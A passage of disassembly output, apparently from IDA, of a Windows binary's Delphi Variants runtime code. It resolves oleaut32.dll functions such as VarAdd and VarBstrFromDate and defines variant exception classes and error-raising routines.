sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000C3FA: ; DATA XREF: sub_2000C3A0+9o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C3F1 ; --------------------------------------------------------------------------- loc_2000C401: ; CODE XREF: sub_2000C3A0+59j ; DATA XREF: sub_2000C3A0+4Co mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_2000C3A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C40C proc near ; DATA XREF: sub_2000C62C+19Eo var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx xor eax, eax mov [ebp+var_8], eax xor eax, eax push ebp push offset loc_2000C479 push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_2000C436 mov ebx, 80004001h jmp short loc_2000C463 ; --------------------------------------------------------------------------- loc_2000C436: ; CODE XREF: sub_2000C40C+21j lea eax, [ebp+var_8] mov edx, [ebp+arg_0] call sub_20004230 mov eax, [ebp+var_8] lea edx, [ebp+var_1] call sub_200073A0 and eax, 7Fh mov ebx, ds:dword_2001432C[eax*4] cmp [ebp+var_1], 1 cmc sbb eax, eax mov edx, [ebp+arg_C] mov [edx], ax loc_2000C463: ; CODE XREF: sub_2000C40C+28j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C480 loc_2000C470: ; CODE XREF: sub_2000C40C+72j lea eax, [ebp+var_8] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000C479: ; DATA XREF: sub_2000C40C+Fo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C470 ; --------------------------------------------------------------------------- loc_2000C480: ; CODE XREF: sub_2000C40C+6Cj ; DATA XREF: sub_2000C40C+5Fo mov eax, ebx pop ebx pop ecx pop ecx pop ebp retn 10h sub_2000C40C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C48C proc near ; DATA XREF: sub_2000C62C+1B4o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0 push ebx mov eax, [ebp+arg_10] test eax, eax jz short loc_2000C49D xor edx, edx mov [eax], edx loc_2000C49D: ; CODE XREF: sub_2000C48C+Bj xor eax, eax push ebp push offset loc_2000C4EC push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_8], 400h jz short loc_2000C4BB mov ebx, 80004001h jmp short loc_2000C4D6 ; --------------------------------------------------------------------------- loc_2000C4BB: ; CODE XREF: sub_2000C48C+26j push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_4] call sub_200083C0 mov edx, [ebp+var_4] mov eax, [ebp+arg_10] call sub_200047B0 xor ebx, ebx loc_2000C4D6: ; CODE XREF: sub_2000C48C+2Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C4F3 loc_2000C4E3: ; CODE XREF: sub_2000C48C+65j lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000C4EC: ; DATA XREF: sub_2000C48C+14o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C4E3 ; --------------------------------------------------------------------------- loc_2000C4F3: ; CODE XREF: sub_2000C48C+5Fj ; DATA XREF: sub_2000C48C+52o mov eax, ebx pop ebx pop ecx pop ebp retn 14h sub_2000C48C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C4FC proc near ; DATA XREF: sub_2000C62C+1CAo var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h push ebp mov ebp, esp push 0 push ebx mov eax, [ebp+arg_10] test eax, eax jz short loc_2000C50D xor edx, edx mov [eax], edx loc_2000C50D: ; CODE XREF: sub_2000C4FC+Bj xor eax, eax push ebp push offset loc_2000C55C push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_8], 400h jz short loc_2000C52B mov ebx, 80004001h jmp short loc_2000C546 ; --------------------------------------------------------------------------- loc_2000C52B: ; CODE XREF: sub_2000C4FC+26j push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_4] call sub_20009410 mov edx, [ebp+var_4] mov eax, [ebp+arg_10] call sub_200047B0 xor ebx, ebx loc_2000C546: ; CODE XREF: sub_2000C4FC+2Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C563 loc_2000C553: ; CODE XREF: sub_2000C4FC+65j lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000C55C: ; DATA XREF: sub_2000C4FC+14o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C553 ; --------------------------------------------------------------------------- loc_2000C563: ; CODE XREF: sub_2000C4FC+5Fj ; DATA XREF: sub_2000C4FC+52o mov eax, ebx pop ebx pop ecx pop ebp retn 14h sub_2000C4FC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C56C proc near ; DATA XREF: sub_2000C62C+1E0o var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp push 0 push ebx mov eax, [ebp+arg_C] test eax, eax jz short loc_2000C57D xor edx, edx mov [eax], edx loc_2000C57D: ; CODE XREF: sub_2000C56C+Bj xor eax, eax push ebp push offset loc_2000C5D0 push dword ptr fs:[eax] mov fs:[eax], esp cmp [ebp+arg_4], 400h jz short loc_2000C59B mov ebx, 80004001h jmp short loc_2000C5BA ; --------------------------------------------------------------------------- loc_2000C59B: ; CODE XREF: sub_2000C56C+26j cmp [ebp+arg_0], 1 sbb eax, eax inc eax lea ecx, [ebp+var_4] xor edx, edx call sub_2000743C mov edx, [ebp+var_4] mov eax, [ebp+arg_C] call sub_200047B0 xor ebx, ebx loc_2000C5BA: ; CODE XREF: sub_2000C56C+2Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C5D7 loc_2000C5C7: ; CODE XREF: sub_2000C56C+69j lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000C5D0: ; DATA XREF: sub_2000C56C+14o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C5C7 ; --------------------------------------------------------------------------- loc_2000C5D7: ; CODE XREF: sub_2000C56C+63j ; DATA XREF: sub_2000C56C+56o mov eax, ebx pop ebx pop ecx pop ebp retn 10h sub_2000C56C endp ; --------------------------------------------------------------------------- align 10h ; [00000006 BYTES: COLLAPSED FUNCTION SafeArrayCreate. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION SafeArrayGetLBound. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION SafeArrayGetUBound. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION SafeArrayPtrOfIndex. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C600 proc near ; CODE XREF: sub_2000C62C+1Cp ; sub_2000C62C+32p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, edx mov edx, ebx mov ecx, [ebp+arg_0] cmp dword ptr [ecx-4], 0 jz short loc_2000C626 push eax ; lpProcName mov eax, [ebp+arg_0] mov eax, [eax-4] push eax ; hModule call GetProcAddress_0 mov edx, eax test edx, edx jnz short loc_2000C626 mov edx, ebx loc_2000C626: ; CODE XREF: sub_2000C600+Fj ; sub_2000C600+22j mov eax, edx pop ebx pop ebp retn sub_2000C600 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000C62C proc near ; CODE XREF: CODE:2000C971p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push offset dword_2000C824 ; lpModuleName call GetModuleHandleA_1 mov [ebp+var_4], eax push ebp mov edx, offset sub_2000C19C mov eax, offset aVariantchanget ; "VariantChangeTypeEx" call sub_2000C600 pop ecx mov ds:dword_200157B4, eax push ebp mov edx, offset sub_2000C1CC mov eax, offset aVarneg ; "VarNeg" call sub_2000C600 pop ecx mov ds:dword_200157B8, eax push ebp mov edx, offset sub_2000C1CC mov eax, offset aVarnot ; "VarNot" call sub_2000C600 pop ecx mov ds:dword_200157BC, eax push ebp mov edx, offset sub_2000C1D8 mov eax, offset aVaradd ; "VarAdd" call sub_2000C600 pop ecx mov ds:dword_200157C0, eax push ebp mov edx, offset sub_2000C1D8 mov eax, offset aVarsub ; "VarSub" call sub_2000C600 pop ecx mov ds:dword_200157C4, eax push ebp mov edx, offset sub_2000C1D8 mov eax, offset aVarmul ; "VarMul" call sub_2000C600 pop ecx mov ds:dword_200157C8, eax push ebp mov edx, offset sub_2000C1D8 mov eax, offset aVardiv ; "VarDiv" call sub_2000C600 pop ecx mov ds:dword_200157CC, eax push ebp mov edx, offset sub_2000C1D8 mov eax, offset aVaridiv ; "VarIdiv" call sub_2000C600 pop ecx mov ds:dword_200157D0, eax push ebp mov edx, offset sub_2000C1D8 mov eax, offset aVarmod ; "VarMod" call sub_2000C600 pop ecx mov ds:dword_200157D4, eax push ebp mov edx, offset sub_2000C1D8 mov eax, offset aVarand ; "VarAnd" call sub_2000C600 pop ecx mov ds:dword_200157D8, eax push ebp mov edx, offset sub_2000C1D8 mov eax, offset aVaror ; "VarOr" call sub_2000C600 pop ecx mov ds:dword_200157DC, eax push ebp mov edx, offset sub_2000C1D8 mov eax, offset aVarxor ; "VarXor" call sub_2000C600 pop ecx mov ds:dword_200157E0, eax push ebp mov edx, offset sub_2000C1E4 mov eax, offset aVarcmp ; "VarCmp" call sub_2000C600 pop ecx mov ds:dword_200157E4, eax push ebp mov edx, offset sub_2000C1F0 mov eax, offset aVari4fromstr ; "VarI4FromStr" call sub_2000C600 pop ecx mov ds:dword_200157E8, eax push ebp mov edx, offset sub_2000C25C mov eax, offset aVarr4fromstr ; "VarR4FromStr" call sub_2000C600 pop ecx mov ds:dword_200157EC, eax push ebp mov edx, offset sub_2000C2C8 mov eax, offset aVarr8fromstr ; "VarR8FromStr" call sub_2000C600 pop ecx mov ds:dword_200157F0, eax push ebp mov edx, offset sub_2000C334 mov eax, offset aVardatefromstr ; "VarDateFromStr" call sub_2000C600 pop ecx mov ds:dword_200157F4, eax push ebp mov edx, offset sub_2000C3A0 mov eax, offset aVarcyfromstr ; "VarCyFromStr" call sub_2000C600 pop ecx mov ds:dword_200157F8, eax push ebp mov edx, offset sub_2000C40C mov eax, offset aVarboolfromstr ; "VarBoolFromStr" call sub_2000C600 pop ecx mov ds:dword_200157FC, eax push ebp mov edx, offset sub_2000C48C mov eax, offset aVarbstrfromcy ; "VarBstrFromCy" call sub_2000C600 pop ecx mov ds:dword_20015800, eax push ebp mov edx, offset sub_2000C4FC mov eax, offset aVarbstrfromdat ; "VarBstrFromDate" call sub_2000C600 pop ecx mov ds:dword_20015804, eax push ebp mov edx, offset sub_2000C56C mov eax, offset aVarbstrfromboo ; "VarBstrFromBool" call sub_2000C600 pop ecx mov ds:dword_20015808, eax pop ecx pop ebp retn sub_2000C62C endp ; --------------------------------------------------------------------------- ; char dword_2000C824[] dword_2000C824 dd 61656C6Fh, 32337475h, 6C6C642Eh, 0 ; DATA XREF: sub_2000C62C+4o aVariantchanget db 'VariantChangeTypeEx',0 ; DATA XREF: sub_2000C62C+17o aVarneg db 'VarNeg',0 ; DATA XREF: sub_2000C62C+2Do align 10h aVarnot db 'VarNot',0 ; DATA XREF: sub_2000C62C+43o align 4 aVaradd db 'VarAdd',0 ; DATA XREF: sub_2000C62C+59o align 10h aVarsub db 'VarSub',0 ; DATA XREF: sub_2000C62C+6Fo align 4 aVarmul db 'VarMul',0 ; DATA XREF: sub_2000C62C+85o align 10h aVardiv db 'VarDiv',0 ; DATA XREF: sub_2000C62C+9Bo align 4 aVaridiv db 'VarIdiv',0 ; DATA XREF: sub_2000C62C+B1o aVarmod db 'VarMod',0 ; DATA XREF: sub_2000C62C+C7o align 4 aVarand db 'VarAnd',0 ; DATA XREF: sub_2000C62C+DDo align 10h aVaror db 'VarOr',0 ; DATA XREF: sub_2000C62C+F3o align 4 aVarxor db 'VarXor',0 ; DATA XREF: sub_2000C62C+109o align 10h aVarcmp db 'VarCmp',0 ; DATA XREF: sub_2000C62C+11Fo align 4 aVari4fromstr db 'VarI4FromStr',0 ; DATA XREF: sub_2000C62C+135o align 4 aVarr4fromstr db 'VarR4FromStr',0 ; DATA XREF: sub_2000C62C+14Bo align 4 aVarr8fromstr db 'VarR8FromStr',0 ; DATA XREF: sub_2000C62C+161o align 4 aVardatefromstr db 'VarDateFromStr',0 ; DATA XREF: sub_2000C62C+177o align 4 aVarcyfromstr db 'VarCyFromStr',0 ; DATA XREF: sub_2000C62C+18Do align 4 aVarboolfromstr db 'VarBoolFromStr',0 ; DATA XREF: sub_2000C62C+1A3o align 4 aVarbstrfromcy db 'VarBstrFromCy',0 ; DATA XREF: sub_2000C62C+1B9o align 4 aVarbstrfromdat db 'VarBstrFromDate',0 ; DATA XREF: sub_2000C62C+1CFo aVarbstrfromboo db 'VarBstrFromBool',0 ; DATA XREF: sub_2000C62C+1E5o ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_2000C95D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_2001580C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000C964 loc_2000C95C: ; CODE XREF: CODE:2000C962j retn ; --------------------------------------------------------------------------- loc_2000C95D: ; DATA XREF: CODE:2000C93Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000C95C ; --------------------------------------------------------------------------- loc_2000C964: ; CODE XREF: CODE:loc_2000C95Cj ; DATA XREF: CODE:2000C957o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_2001580C, 1 jnb short locret_2000C976 call sub_2000C62C locret_2000C976: ; CODE XREF: CODE:2000C96Fj retn ; --------------------------------------------------------------------------- db 90h db 0CCh ; --------------------------------------------------------------------------- loc_2000C979: ; DATA XREF: CODE:off_2000C99Ao add dword ptr [esp+4], 0FFFFFFF8h mov eax, [esp+4] mov eax, [eax] jmp dword ptr [eax] ; --------------------------------------------------------------------------- loc_2000C986: ; DATA XREF: CODE:2000C99Eo add dword ptr [esp+4], 0FFFFFFF8h jmp loc_2000EF6C ; --------------------------------------------------------------------------- loc_2000C990: ; DATA XREF: CODE:2000C9A2o add dword ptr [esp+4], 0FFFFFFF8h jmp loc_2000EF78 ; --------------------------------------------------------------------------- off_2000C99A dd offset loc_2000C979 ; DATA XREF: CODE:2000C9BAo dd offset loc_2000C986 dd offset loc_2000C990 word_2000C9A6 dw 1 ; DATA XREF: CODE:2000C9CCo dd 2 dup(0) dd 0C00000h, 0 db 0, 46h dd offset off_2000C99A dw 8 dd 0 align 8 dd offset off_2000CA14 dd offset word_2000C9A6 dd 6 dup(0) dd offset dword_2000CA50 dd 0Ch dd offset off_2000100C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_2000EE80 off_2000CA14 dd offset sub_2000EF84 ; DATA XREF: CODE:2000C9C8o ; CODE:2000CA7Co dd offset sub_2000EF10 dd offset sub_2000EF44 dd offset sub_2000EF24 dd offset sub_2000EF60 dd offset sub_2000EF0C dd offset sub_2000ED80 dd offset sub_2000EDB8 dd offset sub_2000EE44 dd offset sub_20002988 dd offset sub_20002988 dd offset sub_2000ED74 dd offset sub_2000EF58 dd offset sub_2000EE0C dd offset sub_2000EE00 dword_2000CA50 dd 75435412h, 6D6F7473h, 69726156h, 54746E61h, 90657079h ; DATA XREF: CODE:2000C9E8o dd offset dword_2000CA68 dword_2000CA68 dd 43541207h, 6F747375h, 7261566Dh, 746E6169h, 65707954h ; DATA XREF: CODE:2000CA64o dd offset off_2000CA14 dd offset off_20001060 dd 56080000h, 61697261h, 73746Eh, 408D00h off_2000CA94 dd offset dword_2000CAE0 ; DATA XREF: sub_2000D040+25r dd 7 dup(0) dd offset dword_2000CAE0 dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CAE0 dd 61564516h, 6E616972h, 766E4974h, 64696C61h, 7245704Fh ; DATA XREF: CODE:off_2000CA94o ; CODE:2000CAB4o dd 90726F72h off_2000CAF8 dd offset dword_2000CB44 ; DATA XREF: sub_2000CF50+25r ; sub_2000CFA4+65r dd 7 dup(0) dd offset dword_2000CB44 dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CB44 dd 61564515h, 6E616972h, 70795474h, 73614365h, 72724574h ; DATA XREF: CODE:off_2000CAF8o ; CODE:2000CB18o dd 0C08B726Fh off_2000CB5C dd offset dword_2000CBA8 ; DATA XREF: sub_2000D094+65r ; sub_2000D184+DBr dd 7 dup(0) dd offset dword_2000CBA8 dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CBA8 dd 61564515h, 6E616972h, 65764F74h, 6F6C6672h, 72724577h ; DATA XREF: CODE:off_2000CB5Co ; CODE:2000CB7Co dd 0C08B726Fh off_2000CBC0 dd offset dword_2000CC0C ; DATA XREF: sub_2000D184+199r dd 7 dup(0) dd offset dword_2000CC0C dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CC0C dd 61564517h, 6E616972h, 766E4974h, 64696C61h, 45677241h ; DATA XREF: CODE:off_2000CBC0o ; CODE:2000CBE0o dd 726F7272h off_2000CC24 dd offset dword_2000CC70 ; DATA XREF: sub_2000D184+ABr dd 7 dup(0) dd offset dword_2000CC70 dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CC70 dd 61564517h, 6E616972h, 64614274h, 54726156h, 45657079h ; DATA XREF: CODE:off_2000CC24o ; CODE:2000CC44o dd 726F7272h off_2000CC88 dd offset dword_2000CCD4 ; DATA XREF: sub_2000D184+101r dd 7 dup(0) dd offset dword_2000CCD4 dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CCD4 dd 61564515h, 6E616972h, 64614274h, 65646E49h, 72724578h ; DATA XREF: CODE:off_2000CC88o ; CODE:2000CCA8o dd 0C08B726Fh off_2000CCEC dd offset dword_2000CD38 ; DATA XREF: sub_2000D184+127r dd 7 dup(0) dd offset dword_2000CD38 dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CD38 dd 61564518h, 6E616972h, 72724174h, 6F4C7961h, 64656B63h ; DATA XREF: CODE:off_2000CCECo ; CODE:2000CD0Co dd 6F727245h, 408D72h off_2000CD54 dd offset dword_2000CDA0 ; DATA XREF: sub_2000D130+25r dd 7 dup(0) dd offset dword_2000CDA0 dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CDA0 dd 61564518h, 6E616972h, 72724174h, 72437961h, 65746165h ; DATA XREF: CODE:off_2000CD54o ; CODE:2000CD74o dd 6F727245h, 408D72h off_2000CDBC dd offset dword_2000CE08 ; DATA XREF: sub_2000D184+14Dr dd 7 dup(0) dd offset dword_2000CE08 dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CE08 dd 61564514h, 6E616972h, 746F4E74h, 6C706D49h, 6F727245h ; DATA XREF: CODE:off_2000CDBCo ; CODE:2000CDDCo dd 408D72h off_2000CE20 dd offset dword_2000CE6C ; DATA XREF: sub_2000D184+173r dd 7 dup(0) dd offset dword_2000CE6C dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CE6C dd 61564518h, 6E616972h, 74754F74h, 654D664Fh, 79726F6Dh ; DATA XREF: CODE:off_2000CE20o ; CODE:2000CE40o dd 6F727245h, 408D72h off_2000CE88 dd offset dword_2000CED4 ; DATA XREF: sub_2000D184+1BCr dd 7 dup(0) dd offset dword_2000CED4 dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CED4 dd 61564517h, 6E616972h, 656E5574h, 63657078h, 45646574h ; DATA XREF: CODE:off_2000CE88o ; CODE:2000CEA8o dd 726F7272h off_2000CEEC dd offset dword_2000CF38 ; DATA XREF: sub_2000D418+25r dd 7 dup(0) dd offset dword_2000CF38 dd 0Ch dd offset off_20006B1C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000CF38 dd 61564515h, 6E616972h, 73694474h, 63746170h, 72724568h ; DATA XREF: CODE:off_2000CEECo ; CODE:2000CF0Co dd 0C08B726Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000CF50 proc near ; CODE XREF: sub_2000D184:loc_2000D213p ; sub_2000EF2Cp ; DATA XREF: ... var_4 = dword ptr -4 push ebp mov ebp, esp push 0 xor eax, eax push ebp push offset loc_2000CF9A push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, ds:off_200144BC call sub_20005994 mov ecx, [ebp+var_4] mov dl, 1 mov eax, off_2000CAF8 call sub_2000A4E4 call sub_20003A08 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000CFA1 loc_2000CF91: ; CODE XREF: sub_2000CF50+4Fj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000CF9A: ; DATA XREF: sub_2000CF50+8o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000CF91 ; --------------------------------------------------------------------------- loc_2000CFA1: ; CODE XREF: sub_2000CF50+49j ; DATA XREF: sub_2000CF50+3Co pop ecx pop ebp retn sub_2000CF50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000CFA4 proc near ; CODE XREF: sub_2000D3E4+1Ap ; sub_2000DD44+AAp ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE4h push ebx push esi xor ecx, ecx mov [ebp+var_14], ecx mov [ebp+var_18], ecx mov [ebp+var_1C], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_2000D033 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_14] mov eax, ebx call sub_2000EB50 mov eax, [ebp+var_14] mov [ebp+var_10], eax mov [ebp+var_C], 0Bh lea edx, [ebp+var_18] mov eax, esi call sub_2000EB50 mov eax, [ebp+var_18] mov [ebp+var_8], eax mov [ebp+var_4], 0Bh lea eax, [ebp+var_10] push eax push 1 lea edx, [ebp+var_1C] mov eax, ds:off_200143D0 call sub_20005994 mov ecx, [ebp+var_1C] mov dl, 1 mov eax, off_2000CAF8 call sub_2000A520 call sub_20003A08 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000D03A loc_2000D025: ; CODE XREF: sub_2000CFA4+94j lea eax, [ebp+var_1C] mov edx, 3 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_2000D033: ; DATA XREF: sub_2000CFA4+1Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000D025 ; --------------------------------------------------------------------------- loc_2000D03A: ; CODE XREF: sub_2000CFA4+8Ej ; DATA XREF: sub_2000CFA4+7Co pop esi pop ebx mov esp, ebp pop ebp retn sub_2000CFA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000D040 proc near ; CODE XREF: sub_2000D184:loc_2000D243p ; sub_2000DACC:loc_2000DB62p ... var_4 = dword ptr -4 push ebp mov ebp, esp push 0 xor eax, eax push ebp push offset loc_2000D08A push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, ds:off_200144A4 call sub_20005994 mov ecx, [ebp+var_4] mov dl, 1 mov eax, off_2000CA94 call sub_2000A4E4 call sub_20003A08 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000D091 loc_2000D081: ; CODE XREF: sub_2000D040+4Fj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000D08A: ; DATA XREF: sub_2000D040+8o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000D081 ; --------------------------------------------------------------------------- loc_2000D091: ; CODE XREF: sub_2000D040+49j ; DATA XREF: sub_2000D040+3Co pop ecx pop ebp retn sub_2000D040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000D094 proc near ; CODE XREF: sub_2000D3E4+25p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE4h push ebx push esi xor ecx, ecx mov [ebp+var_14], ecx mov [ebp+var_18], ecx mov [ebp+var_1C], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_2000D123 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_14] mov eax, ebx call sub_2000EB50 mov eax, [ebp+var_14] mov [ebp+var_10], eax mov [ebp+var_C], 0Bh lea edx, [ebp+var_18] mov eax, esi call sub_2000EB50 mov eax, [ebp+var_18] mov [ebp+var_8], eax mov [ebp+var_4], 0Bh lea eax, [ebp+var_10] push eax push 1 lea edx, [ebp+var_1C] mov eax, ds:off_200144FC call sub_20005994 mov ecx, [ebp+var_1C] mov dl, 1 mov eax, off_2000CB5C call sub_2000A520 call sub_20003A08 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000D12A loc_2000D115: ; CODE XREF: sub_2000D094+94j lea eax, [ebp+var_1C] mov edx, 3 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_2000D123: ; DATA XREF: sub_2000D094+1Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000D115 ; --------------------------------------------------------------------------- loc_2000D12A: ; CODE XREF: sub_2000D094+8Ej ; DATA XREF: sub_2000D094+7Co pop esi pop ebx mov esp, ebp pop ebp retn sub_2000D094 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000D130 proc near ; CODE XREF: sub_2000D798+F9p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 xor eax, eax push ebp push offset loc_2000D17A push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, ds:off_20014484 call sub_20005994 mov ecx, [ebp+var_4] mov dl, 1 mov eax, off_2000CD54 call sub_2000A4E4 call sub_20003A08 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000D181 loc_2000D171: ; CODE XREF: sub_2000D130+4Fj lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2000D17A: ; DATA XREF: sub_2000D130+8o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000D171 ; --------------------------------------------------------------------------- loc_2000D181: ; CODE XREF: sub_2000D130+49j ; DATA XREF: sub_2000D130+3Co pop ecx pop ebp retn sub_2000D130 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2000D184 proc near ; CODE XREF: sub_2000D3D8+4p ; sub_2000D3E4:loc_2000D410p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = 